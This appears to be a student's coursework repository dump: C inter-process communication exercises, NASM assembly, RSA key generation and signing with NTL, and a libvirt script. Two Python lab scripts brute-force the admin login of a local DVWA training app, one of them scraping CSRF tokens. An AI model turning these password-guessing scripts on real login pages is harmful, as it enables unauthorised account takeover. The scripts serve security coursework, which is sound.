end : " 60 | spc: .asciiz " " 61 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main() 9 | { 10 | key_t key = ftok("shmfile",65); 11 | 12 | int shmid = shmget(key,1024,0666|IPC_CREAT); 13 | 14 | void *base ; 15 | base = (char*) shmat(shmid,(void*)0,0); 16 | 17 | char *pwd = base ; 18 | int *p1_flag = base + 20 ; 19 | int *p2_flag = p1_flag + 1 ; 20 | int *p3_flag = p2_flag + 1 ; 21 | int *alnum = p3_flag + 1 ; 22 | int *special = alnum + 1 ; 23 | int *strength = special + 1 ; 24 | 25 | *p1_flag = -1 ; 26 | *p2_flag = -1 ; 27 | *p3_flag = -1 ; 28 | *alnum = 0 ; 29 | *special = 0 ; 30 | *strength = -1 ; 31 | 32 | do 33 | { 34 | sleep(1) ; 35 | } while(*p1_flag==-1) ; 36 | 37 | for(int i=0;i<10;i+=1) 38 | { 39 | if(isalnum(pwd[i])) 40 | *alnum += 1 ; 41 | else 42 | *special += 1 ; 43 | } 44 | 45 | *p2_flag = 1 ; 46 | 47 | shmdt(base) ; 48 | shmctl(shmid,IPC_RMID,NULL) ; 49 | } -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/q1_CI.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct buffer 7 | { 8 | long mtype ; 9 | char data[200] ; 10 | } message ; 11 | 12 | 13 | void main() 14 | { 15 | 16 | key_t key; 17 | int msgid; 18 | 19 | key = ftok("progfile", 65); 20 | msgid = msgget(key, 0666 | IPC_CREAT); 21 | 22 | int i ; 23 | 24 | float avg ; 25 | float marks[5] = { 26 | 10, 27 | 20, 28 | 30, 29 | 40, 30 | 50 31 | } ; 32 | 33 | for(int i=1;i<=5;i+=1) 34 | { 35 | message.mtype = 10; 36 | sprintf(message.data,"%f",marks[i-1]) ; 37 | // printf("Write Data : %d\n",msgid); 38 | msgsnd(msgid, &message, sizeof(message.data), 0); 39 | } 40 | 41 | msgrcv(msgid, &message, sizeof(message.data), 100, 0); 42 | printf("Average is : %s \n",message.data); 43 | 44 | sscanf(message.data,"%f",&avg) ; 45 | 46 | for(i=1;i<=5;i+=1) 47 | { 48 | msgrcv(msgid, &message, sizeof(message.data), 100, 0); 49 | printf("Grade of Student %d is : %s \n",i,message.data); 50 | } 51 | } -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q15.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q15 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 |
Serial NumberRoll NumberProject Name
1M170565CAMining Google Play Store
M170564CA
2B16098CSDiabetes Classifier
B16095CS
37 | 38 | -------------------------------------------------------------------------------- /S8/IIS/t.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "crypto.h" 4 | 5 | using namespace std; 6 | using namespace NTL; 7 | 8 | #define BIT_LENGTH 512 9 | #define ERR_THRESHOLD 1000 10 | // Error in range 2^(-ERR_THRESHOLD) 11 | 12 | Vec KeyGen() 13 | { 14 | ZZ p , q , n , phi , e , d ; 15 | Vec v ; 16 | v.FixLength(3) ; 17 | 18 | GenPrime(p,BIT_LENGTH/2,ERR_THRESHOLD) ; 19 | GenPrime(q,BIT_LENGTH/2,ERR_THRESHOLD) ; 20 | n = p * q ; 21 | phi = (p-1) * (q-1) ; 22 | 23 | ZZ t ; 24 | t = 0 ; 25 | e = 0 ; 26 | while (t != 1 && e != 1) 27 | { 28 | e = RandomBnd(phi) ; 29 | t = GCD(e,phi) ; 30 | } 31 | d = InvMod(e,phi) ; 32 | 33 | v[0] = n ; 34 | v[1] = e ; 35 | v[2] = d ; 36 | return v ; 37 | } 38 | 39 | //Sign 40 | ZZ Sign(ZZ m,ZZ d,ZZ n) 41 | { 42 | ZZ c ; 43 | ZZ h = Hash(m) ; 44 | c = PowerMod(h,d,n) ; 45 | return c ; 46 | } 47 | 48 | // Verify 49 | bool Verify(ZZ m,ZZ sigma,ZZ e,ZZ n) 50 | { 51 | ZZ c ; 52 | ZZ h = Hash(m) ; 53 | ZZ h_ = PowerMod(sigma,e,n) ; 54 | if (h == h_) 55 | return 1 ; 56 | else 57 | return 0 ; 58 | } 59 | 60 | int main() 61 | { 62 | ZZ m = ZZ(69) ; 63 | 64 | ZZ hash = Hash(m) ; 65 | cout << "hash : " << hash << endl ; 66 | } -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Shared Memory 2 | 3 | Interprocess communication using Shared Memory Method 4 | 5 | Shared lock variables are used to stop the execution of other processes before valid data is received 6 | 7 | ## Files : 8 | ``` 9 | process_1.c # Receive Password and Display the strength of the password 10 | process_2.c # Count the characers in password 11 | process_3.c # Set Password Strength 12 | ``` 13 | ## Commands to run : 14 | ``` 15 | gcc process_1 -o p1 && ./p1 # Compile and run Process 1 16 | gcc process_2 -o p2 && ./p2 # Compile and run Process 2 17 | gcc process_3 -o p3 && ./p3 # Compile and run Process 3 18 | ``` 19 | ## Shared Memory 20 | ``` 21 | pwd # Starting of the shared block 10 characters 22 | p1_flag # Process 1 Lock (int) 20 bytes after pwd 23 | p2_flag # Process 2 Lock (int) 1 Integer after p1_flag 24 | p3_flag # Process 3 Lock (int) 1 Integer after p2_flag 25 | alnum # Number of Alphanumeric Characters (int) 1 Integer after p3_flag 26 | special # Number of Special Characters (int) 1 Integer after alnum 27 | strength # Strength of Password (int) 1 Integer after Special 28 | ``` 29 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/medium.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | 4 | class bcolors: 5 | HEADER = '\033[95m' 6 | OKBLUE = '\033[94m' 7 | OKCYAN = '\033[96m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | password = "pass" 16 | passFilePath = "passwords.txt" 17 | passFile = open(passFilePath) 18 | 19 | attempt = 0 20 | 21 | def makeRequest(url,password) : 22 | global attempt 23 | attempt += 1 24 | sids = [ 25 | 'njos0jhhcj197l8dj3d9bs08co', 26 | '48drtsq3vsvdje3dbse8vi9ppc', 27 | 'kdrhi58ggdq31q9jr1gmf4su2o' 28 | ] 29 | l = len(sids) 30 | 31 | cookies = { 32 | 'security':'medium' , 33 | 'PHPSESSID':sids[0] 34 | } 35 | 36 | response = requests.get(url=url,cookies=cookies) 37 | 38 | if not "incorrect" in response.text : 39 | print(f"{bcolors.OKGREEN}[+] Password Found {password}{bcolors.ENDC}") 40 | else : 41 | print(f"[-] Failed with {password}") 42 | 43 | for password in passFile.readlines() : 44 | password = password.strip('\n') 45 | url = f'http://localhost/DVWA/vulnerabilities/brute/?username=admin&password={password}&Login=Login' 46 | 47 | thread = threading.Thread(target=makeRequest,args=(url,password,)) 48 | thread.start() -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/BruteForce/high.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | 4 | class bcolors: 5 | HEADER = '\033[95m' 6 | OKBLUE = '\033[94m' 7 | OKCYAN = '\033[96m' 8 | OKGREEN = '\033[92m' 9 | WARNING = '\033[93m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | 15 | cookies = { 16 | 'security':'high' , 17 | 'PHPSESSID':'njos0jhhcj197l8dj3d9bs08co' 18 | } 19 | 20 | password = "pass" 21 | passFilePath = "passwords.txt" 22 | passFile = open(passFilePath) 23 | 24 | for password in passFile.readlines() : 25 | password = password.strip('\n') 26 | page_url = f'http://localhost/DVWA/vulnerabilities/brute/' 27 | page = requests.get(url=page_url,cookies=cookies) 28 | 29 | parts = page.text.split("user_token")[1] 30 | parts = parts.split("value=")[1] 31 | token = parts.split()[0][1:].strip('\'') 32 | 33 | url = f'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password={password}&Login=Login&user_token={token}' 34 | 35 | response = requests.get(url=url,cookies=cookies) 36 | 37 | print(f'[+] Trying : {url}') 38 | 39 | if not "incorrect" in response.text : 40 | print(f"{bcolors.OKGREEN}[+] Password Found {password}{bcolors.ENDC}") 41 | else : 42 | print(f"[-] Failed with {password}") 43 | # print(response.text) 44 | 45 | # exit(0) -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter A Number : " 4 | la : equ $-pa 5 | format_in : db "%lf",0 6 | format_out : db "Product : %lf",10,0 7 | 8 | section .bss 9 | a : resq 1 10 | t_float : resq 1 11 | 12 | section .text 13 | global main 14 | extern scanf 15 | extern printf 16 | main : 17 | mov eax , 4 18 | mov ebx , 1 19 | mov ecx , pa 20 | mov edx , la 21 | int 80h 22 | 23 | call _scan_float 24 | fst qword[a] 25 | 26 | mov eax , 4 27 | mov ebx , 1 28 | mov ecx , pa 29 | mov edx , la 30 | int 80h 31 | 32 | call _scan_float 33 | fmul qword[a] 34 | 35 | mov eax , format_out 36 | call _print_float 37 | 38 | jmp exit 39 | 40 | _scan_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | lea eax , [esp] 46 | push eax 47 | push format_in 48 | call scanf 49 | fld qword[ebp-8] 50 | fst qword[t_float] 51 | mov esp , ebp 52 | pop ebp 53 | popa 54 | ret 55 | 56 | _print_float : 57 | pusha 58 | push ebp 59 | mov ebp , esp 60 | sub esp , 8 61 | fst qword[ebp-8] 62 | push eax 63 | call printf 64 | mov esp , ebp 65 | pop ebp 66 | popa 67 | ret 68 | 69 | clearStack : 70 | pusha 71 | ffree ST0 72 | ffree ST1 73 | ffree ST2 74 | ffree ST3 75 | ffree ST4 76 | ffree ST5 77 | ffree ST6 78 | ffree ST7 79 | popa 80 | ret 81 | 82 | ; Exit 83 | exit : 84 | mov eax , 1 85 | mov ebx , 0 86 | int 80h 87 | -------------------------------------------------------------------------------- /S8/IIS/Final/RSA_1024.cpp: -------------------------------------------------------------------------------- 1 | // Implementation of RSA algorithm using 1024 Bit keys 2 | 3 | #include 4 | 5 | using namespace std; 6 | using namespace NTL; 7 | 8 | #define BIT_LENGTH 1024 9 | #define ERR_THRESHOLD 1000 10 | // Error in range 2^(-ERR_THRESHOLD) 11 | 12 | Vec KeyGen() 13 | { 14 | ZZ p , q , n , phi , e , d ; 15 | Vec v ; 16 | v.FixLength(3) ; 17 | 18 | GenPrime(p,BIT_LENGTH,ERR_THRESHOLD) ; 19 | GenPrime(q,BIT_LENGTH,ERR_THRESHOLD) ; 20 | n = p * q ; 21 | phi = (p-1) * (q-1) ; 22 | 23 | ZZ t ; 24 | t = 0 ; 25 | e = 0 ; 26 | while (t != 1 && e != 1) 27 | { 28 | e = RandomBnd(phi) ; 29 | t = GCD(e,phi) ; 30 | } 31 | 32 | d = InvMod(e,phi) ; 33 | 34 | v[0] = n ; 35 | v[1] = e ; 36 | v[2] = d ; 37 | return v ; 38 | } 39 | 40 | // Encrypt 41 | ZZ encrypt(ZZ m,ZZ e,ZZ n) 42 | { 43 | ZZ c ; 44 | c = PowerMod(m,e,n) ; 45 | return c ; 46 | } 47 | 48 | // Decrypt 49 | ZZ decrypt(ZZ c,ZZ d,ZZ n) 50 | { 51 | ZZ m ; 52 | m = PowerMod(c,d,n) ; 53 | return m ; 54 | } 55 | 56 | 57 | int main() 58 | { 59 | ZZ p , q , n , phi , e , d ; 60 | 61 | Vec keys = KeyGen() ; 62 | n = keys[0] ; 63 | e = keys[1] ; 64 | d = keys[2] ; 65 | 66 | ZZ m , c , t ; 67 | 68 | m = 2567 ; 69 | cout << "Message : " << m << endl ; 70 | c = encrypt(m,e,n) ; 71 | cout << "Encrypted : " << c << endl ; 72 | t = decrypt(c,d,n) ; 73 | cout << "Decrypted : " << t << endl ; 74 | } -------------------------------------------------------------------------------- /S8/IIS/Final/q1_a.cpp: -------------------------------------------------------------------------------- 1 | // Implementation of RSA algorithm using 512 Bit keys 2 | 3 | #include 4 | 5 | using namespace std; 6 | using namespace NTL; 7 | 8 | #define BIT_LENGTH 512 9 | #define ERR_THRESHOLD 1000 10 | // Error in range 2^(-ERR_THRESHOLD) 11 | 12 | Vec KeyGen() 13 | { 14 | ZZ p , q , n , phi , e , d ; 15 | Vec v ; 16 | v.FixLength(3) ; 17 | 18 | GenPrime(p,BIT_LENGTH,ERR_THRESHOLD) ; 19 | GenPrime(q,BIT_LENGTH,ERR_THRESHOLD) ; 20 | n = p * q ; 21 | phi = (p-1) * (q-1) ; 22 | 23 | ZZ t ; 24 | t = 0 ; 25 | e = 0 ; 26 | while (t != 1 && e != 1) 27 | { 28 | e = RandomBnd(phi) ; 29 | t = GCD(e,phi) ; 30 | } 31 | 32 | d = InvMod(e,phi) ; 33 | 34 | v[0] = n ; 35 | v[1] = e ; 36 | v[2] = d ; 37 | return v ; 38 | } 39 | 40 | // Encrypt 41 | ZZ encrypt(ZZ m,ZZ e,ZZ n) 42 | { 43 | ZZ c ; 44 | c = PowerMod(m,e,n) ; 45 | return c ; 46 | } 47 | 48 | // Decrypt 49 | ZZ decrypt(ZZ c,ZZ d,ZZ n) 50 | { 51 | ZZ m ; 52 | m = PowerMod(c,d,n) ; 53 | return m ; 54 | } 55 | 56 | 57 | int main() 58 | { 59 | ZZ p , q , n , phi , e , d ; 60 | 61 | Vec keys = KeyGen() ; 62 | n = keys[0] ; 63 | e = keys[1] ; 64 | d = keys[2] ; 65 | 66 | ZZ m , c , t ; 67 | 68 | m = 2567 ; 69 | cout << "Message : " << m << endl ; 70 | c = encrypt(m,e,n) ; 71 | cout << "Encrypted : " << c << endl ; 72 | t = decrypt(c,d,n) ; 73 | cout << "Decrypted : " << t << endl ; 74 | } -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/Completed/assg5_q2.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter A Number : " 4 | la : equ $-pa 5 | format_in : db "%lf",0 6 | format_out : db "Product : %lf",10,0 7 | 8 | section .bss 9 | a : resq 1 10 | t_float : resq 1 11 | 12 | section .text 13 | global main 14 | extern scanf 15 | extern printf 16 | main : 17 | mov eax , 4 18 | mov ebx , 1 19 | mov ecx , pa 20 | mov edx , la 21 | int 80h 22 | 23 | call _scan_float 24 | fst qword[a] 25 | 26 | mov eax , 4 27 | mov ebx , 1 28 | mov ecx , pa 29 | mov edx , la 30 | int 80h 31 | 32 | call _scan_float 33 | fmul qword[a] 34 | 35 | mov eax , format_out 36 | call _print_float 37 | 38 | jmp exit 39 | 40 | _scan_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | lea eax , [esp] 46 | push eax 47 | push format_in 48 | call scanf 49 | fld qword[ebp-8] 50 | fst qword[t_float] 51 | mov esp , ebp 52 | pop ebp 53 | popa 54 | ret 55 | 56 | _print_float : 57 | pusha 58 | push ebp 59 | mov ebp , esp 60 | sub esp , 8 61 | fst qword[ebp-8] 62 | push eax 63 | call printf 64 | mov esp , ebp 65 | pop ebp 66 | popa 67 | ret 68 | 69 | clearStack : 70 | pusha 71 | ffree ST0 72 | ffree ST1 73 | ffree ST2 74 | ffree ST3 75 | ffree ST4 76 | ffree ST5 77 | ffree ST6 78 | ffree ST7 79 | popa 80 | ret 81 | 82 | ; Exit 83 | exit : 84 | mov eax , 1 85 | mov ebx , 0 86 | int 80h 87 | -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int check(char *pwd) 9 | { 10 | if(strlen(pwd)==10) 11 | return 0 ; 12 | printf("Enter Password Of Length 10\n") ; 13 | return 1 ; 14 | } 15 | 16 | int main() 17 | { 18 | key_t key = ftok("shmfile",65); 19 | 20 | int shmid = shmget(key,1024,0666|IPC_CREAT); 21 | 22 | void *base ; 23 | base = (char*) shmat(shmid,(void*)0,0); 24 | 25 | char *pwd = base ; 26 | int *p1_flag = base + 20 ; 27 | int *p2_flag = p1_flag + 1 ; 28 | int *p3_flag = p2_flag + 1 ; 29 | int *alnum = p3_flag + 1 ; 30 | int *special = alnum + 1 ; 31 | int *strength = special + 1 ; 32 | 33 | *p1_flag = -1 ; 34 | *p2_flag = -1 ; 35 | *p3_flag = -1 ; 36 | *alnum = 0 ; 37 | *special = 0 ; 38 | *strength = -1 ; 39 | 40 | do { 41 | printf("Enter Password : \n") ; 42 | scanf("%s",pwd) ; 43 | } while(check(pwd)) ; 44 | *p1_flag = 1 ; 45 | 46 | while(*p3_flag == -1) 47 | { 48 | sleep(1) ; 49 | } 50 | 51 | if(*strength == 1) 52 | printf("Password Is Strong\n") ; 53 | else if(*strength == 0) 54 | printf("Password Is Weak\n") ; 55 | else 56 | printf("Password Strength Is Not Set\n") ; 57 | 58 | shmdt(pwd); 59 | return 0; 60 | } -------------------------------------------------------------------------------- /S8/Cloud/t1.py: -------------------------------------------------------------------------------- 1 | import libvirt 2 | import time 3 | import sys 4 | 5 | domName = "Lubuntu_1" 6 | 7 | try: 8 | # conn = libvirt.openReadOnly(None) 9 | conn = libvirt.open("qemu:///system") 10 | except libvirt.libvirtError: 11 | print('Failed to open connection to the hypervisor') 12 | sys.exit(1) 13 | 14 | try: 15 | dom = conn.lookupByName(domName) 16 | except libvirt.libvirtError: 17 | print('Failed to find the main domain') 18 | sys.exit(1) 19 | 20 | print("Domain 0: id %d running %s" % (dom.ID(), dom.OSType())) 21 | print(dom.info()) 22 | 23 | try : 24 | stats = dom.getCPUStats(True) 25 | except Exception as e : 26 | print(f'[!] Exception : {e}') 27 | 28 | print(stats) 29 | 30 | stats = [] 31 | 32 | scaleFactor = 10**9 33 | 34 | stats.append(dom.getCPUStats(True)) 35 | print(f'[+] Pass 1') 36 | for stat in stats[0][0] : 37 | stats[0][0][stat] /= scaleFactor 38 | 39 | print('cpu_time: '+str(stats[0][0]['cpu_time'])) 40 | print('system_time: '+str(stats[0][0]['system_time'])) 41 | print('user_time: '+str(stats[0][0]['user_time'])) 42 | 43 | time.sleep(1) 44 | stats.append(dom.getCPUStats(True)) 45 | 46 | print(f'[+] Pass 2') 47 | for stat in stats[1][0] : 48 | stats[1][0][stat] /= scaleFactor 49 | print('cpu_time: '+str(stats[1][0]['cpu_time'])) 50 | print('system_time: '+str(stats[1][0]['system_time'])) 51 | print('user_time: '+str(stats[1][0]['user_time'])) 52 | 53 | usage = 100*(stats[1][0]['cpu_time'] - stats[0][0]['cpu_time']) 54 | 55 | print(f'[+] Usage % : {usage}') -------------------------------------------------------------------------------- /S8/IIS/crypto.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | using namespace NTL; 8 | 9 | char *hexdigest(unsigned char *md, int len) 10 | { 11 | static char buf[80]; 12 | int i; 13 | for (i = 0; i < len; i++) 14 | sprintf(buf + i * 2, "%02x", md[i]); 15 | return buf; 16 | } 17 | 18 | ZZ hexToZZ(char *hex) 19 | { 20 | ZZ res = ZZ(0); 21 | int i; 22 | for (i = 0; i < strlen(hex); i += 1) 23 | { 24 | res <<= 4; 25 | char x = hex[i]; 26 | if(x>='0' && x <='9') 27 | res += hex[i]-48; 28 | else if(x>='a' && x <='f') 29 | res += hex[i]-87; 30 | else if(x>='A' && x <='F') 31 | res += hex[i]-55; 32 | } 33 | return res ; 34 | } 35 | 36 | string numberToString(ZZ num) 37 | { 38 | string s = ""; 39 | while (num > 0) 40 | { 41 | s += (num % 10) + '0'; 42 | num /= 10; 43 | } 44 | reverse(s.begin(), s.end()); 45 | return s; 46 | } 47 | 48 | // SHA1 49 | ZZ Hash(string s) 50 | { 51 | unsigned char hash[SHA_DIGEST_LENGTH]; // == 20 52 | 53 | SHA_CTX sha1; 54 | SHA1_Init(&sha1); 55 | SHA1_Update(&sha1, s.c_str(), s.length()); 56 | SHA1_Final(hash, &sha1); 57 | 58 | ZZ h = hexToZZ(hexdigest(hash, SHA_DIGEST_LENGTH)); 59 | return h ; 60 | } 61 | 62 | ZZ Hash(ZZ m) 63 | { 64 | string s = numberToString(m); 65 | return Hash(s); 66 | } 67 | 68 | ZZ Hash(char *m) 69 | { 70 | string s = m; 71 | return Hash(s); 72 | } -------------------------------------------------------------------------------- /S8/IIS/Done/crypto.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | using namespace NTL; 8 | 9 | char *hexdigest(unsigned char *md, int len) 10 | { 11 | static char buf[80]; 12 | int i; 13 | for (i = 0; i < len; i++) 14 | sprintf(buf + i * 2, "%02x", md[i]); 15 | return buf; 16 | } 17 | 18 | ZZ hexToZZ(char *hex) 19 | { 20 | ZZ res = ZZ(0); 21 | int i; 22 | for (i = 0; i < strlen(hex); i += 1) 23 | { 24 | res <<= 4; 25 | char x = hex[i]; 26 | if(x>='0' && x <='9') 27 | res += hex[i]-48; 28 | else if(x>='a' && x <='f') 29 | res += hex[i]-87; 30 | else if(x>='A' && x <='F') 31 | res += hex[i]-55; 32 | } 33 | return res ; 34 | } 35 | 36 | string numberToString(ZZ num) 37 | { 38 | string s = ""; 39 | while (num > 0) 40 | { 41 | s += (num % 10) + '0'; 42 | num /= 10; 43 | } 44 | reverse(s.begin(), s.end()); 45 | return s; 46 | } 47 | 48 | // SHA1 49 | ZZ Hash(string s) 50 | { 51 | unsigned char hash[SHA_DIGEST_LENGTH]; // == 20 52 | 53 | SHA_CTX sha1; 54 | SHA1_Init(&sha1); 55 | SHA1_Update(&sha1, s.c_str(), s.length()); 56 | SHA1_Final(hash, &sha1); 57 | 58 | ZZ h = hexToZZ(hexdigest(hash, SHA_DIGEST_LENGTH)); 59 | return h ; 60 | } 61 | 62 | ZZ Hash(ZZ m) 63 | { 64 | string s = numberToString(m); 65 | return Hash(s); 66 | } 67 | 68 | ZZ Hash(char *m) 69 | { 70 | string s = m; 71 | return Hash(s); 72 | } -------------------------------------------------------------------------------- /S8/IIS/Final/crypto.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | using namespace NTL; 8 | 9 | char *hexdigest(unsigned char *md, int len) 10 | { 11 | static char buf[80]; 12 | int i; 13 | for (i = 0; i < len; i++) 14 | sprintf(buf + i * 2, "%02x", md[i]); 15 | return buf; 16 | } 17 | 18 | ZZ hexToZZ(char *hex) 19 | { 20 | ZZ res = ZZ(0); 21 | int i; 22 | for (i = 0; i < strlen(hex); i += 1) 23 | { 24 | res <<= 4; 25 | char x = hex[i]; 26 | if(x>='0' && x <='9') 27 | res += hex[i]-48; 28 | else if(x>='a' && x <='f') 29 | res += hex[i]-87; 30 | else if(x>='A' && x <='F') 31 | res += hex[i]-55; 32 | } 33 | return res ; 34 | } 35 | 36 | string numberToString(ZZ num) 37 | { 38 | string s = ""; 39 | while (num > 0) 40 | { 41 | s += (num % 10) + '0'; 42 | num /= 10; 43 | } 44 | reverse(s.begin(), s.end()); 45 | return s; 46 | } 47 | 48 | // SHA1 49 | ZZ Hash(string s) 50 | { 51 | unsigned char hash[SHA_DIGEST_LENGTH]; // == 20 52 | 53 | SHA_CTX sha1; 54 | SHA1_Init(&sha1); 55 | SHA1_Update(&sha1, s.c_str(), s.length()); 56 | SHA1_Final(hash, &sha1); 57 | 58 | ZZ h = hexToZZ(hexdigest(hash, SHA_DIGEST_LENGTH)); 59 | return h ; 60 | } 61 | 62 | ZZ Hash(ZZ m) 63 | { 64 | string s = numberToString(m); 65 | return Hash(s); 66 | } 67 | 68 | ZZ Hash(char *m) 69 | { 70 | string s = m; 71 | return Hash(s); 72 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1.s: -------------------------------------------------------------------------------- 1 | .file "example1.c" 2 | .text 3 | .globl function 4 | .type function, @function 5 | function: 6 | .LFB0: 7 | .cfi_startproc 8 | pushl %ebp 9 | .cfi_def_cfa_offset 8 10 | .cfi_offset 5, -8 11 | movl %esp, %ebp 12 | .cfi_def_cfa_register 5 13 | subl $24, %esp 14 | movl %gs:20, %eax 15 | movl %eax, -12(%ebp) 16 | xorl %eax, %eax 17 | movl 8(%ebp), %edx 18 | movl 12(%ebp), %eax 19 | addl %edx, %eax 20 | movl %eax, 16(%ebp) 21 | movzbl -22(%ebp), %eax 22 | movb %al, -22(%ebp) 23 | nop 24 | movl -12(%ebp), %eax 25 | xorl %gs:20, %eax 26 | je .L2 27 | call __stack_chk_fail 28 | .L2: 29 | leave 30 | .cfi_restore 5 31 | .cfi_def_cfa 4, 4 32 | ret 33 | .cfi_endproc 34 | .LFE0: 35 | .size function, .-function 36 | .globl main 37 | .type main, @function 38 | main: 39 | .LFB1: 40 | .cfi_startproc 41 | leal 4(%esp), %ecx 42 | .cfi_def_cfa 1, 0 43 | andl $-16, %esp 44 | pushl -4(%ecx) 45 | pushl %ebp 46 | .cfi_escape 0x10,0x5,0x2,0x75,0 47 | movl %esp, %ebp 48 | pushl %ecx 49 | .cfi_escape 0xf,0x3,0x75,0x7c,0x6 50 | subl $4, %esp 51 | subl $4, %esp 52 | pushl $3 53 | pushl $2 54 | pushl $1 55 | call function 56 | addl $16, %esp 57 | nop 58 | movl -4(%ebp), %ecx 59 | .cfi_def_cfa 1, 0 60 | leave 61 | .cfi_restore 5 62 | leal -4(%ecx), %esp 63 | .cfi_def_cfa 4, 4 64 | ret 65 | .cfi_endproc 66 | .LFE1: 67 | .size main, .-main 68 | .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609" 69 | .section .note.GNU-stack,"",@progbits 70 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_2/ASSG2_4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | struct Node 4 | { 5 | int data; 6 | struct Node *l; 7 | struct Node *r; 8 | struct Node *p; 9 | }; 10 | typedef struct Node node; 11 | 12 | void paren(node **t) 13 | { 14 | if((*t)!=NULL) 15 | { 16 | printf("(%d ",(*t)->data); 17 | paren(&(*t)->l); 18 | paren(&(*t)->r); 19 | } 20 | else if ((*t)==NULL) 21 | { 22 | printf("()"); 23 | return; 24 | } 25 | printf(")"); 26 | int tab; 27 | } 28 | 29 | void insert(node **t,int e) 30 | { 31 | node *z=(node*)malloc(sizeof(node)); 32 | z->data=e; 33 | z->l=NULL; 34 | z->r=NULL; 35 | z->p=NULL; 36 | 37 | node *y=NULL; 38 | node *x=*t; 39 | while((x)!=NULL) 40 | { 41 | y=x; 42 | if((z->data) <= (x->data)) 43 | x=x->l; 44 | else 45 | x=x->r; 46 | } 47 | z->p=y; 48 | if(y==NULL) 49 | { (*t)=z;z->l=0;} 50 | else if ((z->data) <= (y->data)) 51 | y->l=z; 52 | else 53 | y->r=z; 54 | } 55 | 56 | void main() 57 | { 58 | int n; 59 | scanf("%d",&n); 60 | node *t=NULL; 61 | int x; 62 | for(int i=0;i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int check(float *L) 10 | { 11 | for(int i=0;i<5;i+=1) 12 | { 13 | if(L[i] < 15 || L[i] > 45) 14 | { 15 | printf("One of the Values Not In Range 15 to 45\n") ; 16 | printf("Re-enter values \n") ; 17 | return 1 ; 18 | } 19 | } 20 | return 0 ; 21 | } 22 | 23 | void main() 24 | { 25 | float avg = 0 ,stdev = 0 ; 26 | float L[5] = {0,0,0,0,0} ; 27 | int category[5] = {0,0,0,0,0} ; 28 | 29 | int fd[3] ; 30 | 31 | char * fifo[3] = {"/tmp/fifo1","/tmp/fifo2","/tmp/fifo3"}; 32 | 33 | mkfifo(fifo[0], 0666); 34 | mkfifo(fifo[1], 0666); 35 | mkfifo(fifo[2], 0666); 36 | 37 | fd[0] = open(fifo[0], O_RDWR); 38 | fd[1] = open(fifo[1], O_RDWR); 39 | fd[2] = open(fifo[2], O_RDWR); 40 | 41 | read(fd[1],L,5 * sizeof(L[0])); 42 | write(fd[2],L,5 * sizeof(L[0])) ; 43 | avg = 0 ; 44 | for(int i=0;i<5;i+=1) 45 | { 46 | avg += L[i] ; 47 | } 48 | avg /= 5 ; 49 | stdev = 0 ; 50 | for(int i=0;i<5;i+=1) 51 | { 52 | stdev += pow(L[i]-avg,2) ; 53 | } 54 | stdev /= 5 ; 55 | stdev = sqrt(stdev) ; 56 | write(fd[2],&avg,sizeof(avg)) ; 57 | write(fd[2],&stdev,sizeof(stdev)) ; 58 | 59 | close(fd[0]) ; 60 | close(fd[1]) ; 61 | close(fd[2]) ; 62 | } -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/template.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | 4 | section .bss 5 | a : resw 1 6 | b : resw 1 7 | c : resw 1 8 | t : resw 1 9 | temp : resw 1 10 | num : resw 1 11 | count : resb 1 12 | 13 | section .text 14 | global _start 15 | _start : 16 | call read 17 | mov word[a] , ax 18 | 19 | mov word[temp] , ax 20 | call print 21 | 22 | jmp exit 23 | 24 | ; Read Multiple Digits 25 | read : 26 | mov word[temp] , 0 27 | _read : 28 | mov eax , 3 29 | mov ebx , 0 30 | mov ecx , t 31 | mov edx , 1 32 | int 80h 33 